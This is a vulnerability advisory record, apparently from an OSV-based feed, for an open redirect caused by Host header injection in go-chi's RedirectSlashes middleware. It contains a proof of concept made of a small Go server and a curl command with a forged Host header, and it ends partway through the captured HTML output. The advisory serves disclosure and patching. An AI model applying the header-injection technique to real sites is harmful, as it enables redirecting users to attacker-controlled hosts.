Example Domain

{"id":"CVE-2025-71405","aliases":["GHSA-vrw8-fxc6-2r93","GO-2025-3770"],"title":"chi Allows Host Header Injection which Leads to Open Redirect in RedirectSlashes","summary":"chi Allows Host Header Injection which Leads to Open Redirect in RedirectSlashes","severity":"medium","vendor":"go-chi","product":"github.com/go-chi/chi/v5","ecosystem":"go","affected":["github.com/go-chi/chi/v5 < 5.2.2"],"patched":["github.com/go-chi/chi/v5 5.2.2"],"published":"2025-06-20","updated":"2026-08-15","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-vrw8-fxc6-2r93","references":[{"url":"https://github.com/go-chi/chi/security/advisories/GHSA-vrw8-fxc6-2r93"},{"url":"https://github.com/go-chi/chi/commit/1be7ad938cc9c5b39a9dea01a5c518848928ab65"},{"url":"https://github.com/go-chi/chi"}],"tags":["osv","go"],"epss":0.00307,"epssPercentile":0.23715,"ingestedAt":"2026-08-15T19:19:53.859Z","slug":"CVE-2025-71405","body":"## Overview\n\n### Summary\nThe RedirectSlashes function in middleware/strip.go is vulnerable to host header injection which leads to open redirect.\n\nWe consider this a **lower-severity** open redirect, as it can't be exploited from browsers or email clients (requires manipulation of a Host header).\n\n### Details\nThe RedirectSlashes method uses the Host header to construct the redirectURL at this line https://github.com/go-chi/chi/blob/master/middleware/strip.go#L55\n\nThe Host header can be manipulated by a user to be any arbitrary host. This leads to open redirect when using the RedirectSlashes middleware\n\n### PoC\nCreate a simple server which uses the RedirectSlashes middleware\n```\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/go-chi/chi/v5\"\n\t\"github.com/go-chi/chi/v5/middleware\" // Import the middleware package\n)\n\nfunc main() {\n\t// Create a new Chi router\n\tr := chi.NewRouter()\n\n\t// Use the built-in RedirectSlashes middleware\n\tr.Use(middleware.RedirectSlashes) // Use middleware.RedirectSlashes\n\n\t// Define a route handler\n\tr.Get(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// A simple response\n\t\tw.Write([]byte(\"Hello, World!\"))\n\t})\n\n\t// Start the server\n\tfmt.Println(\"Starting server on :8080\")\n\thttp.ListenAndServe(\":8080\", r)\n}\n```\nRun the server `go run main.go`\n\nOnce the server is running, send a request that will trigger the RedirectSlashes function with an arbitrary Host header\n`curl -iL -H \"Host: example.com\" http://localhost:8080/test/`\n\nObserve that the request will be redirected to example.com\n\n```\ncurl -L -H \"Host: example.com\" http://localhost:8080/test/\n\n\n\n\n Example Domain\n\n \n \n \n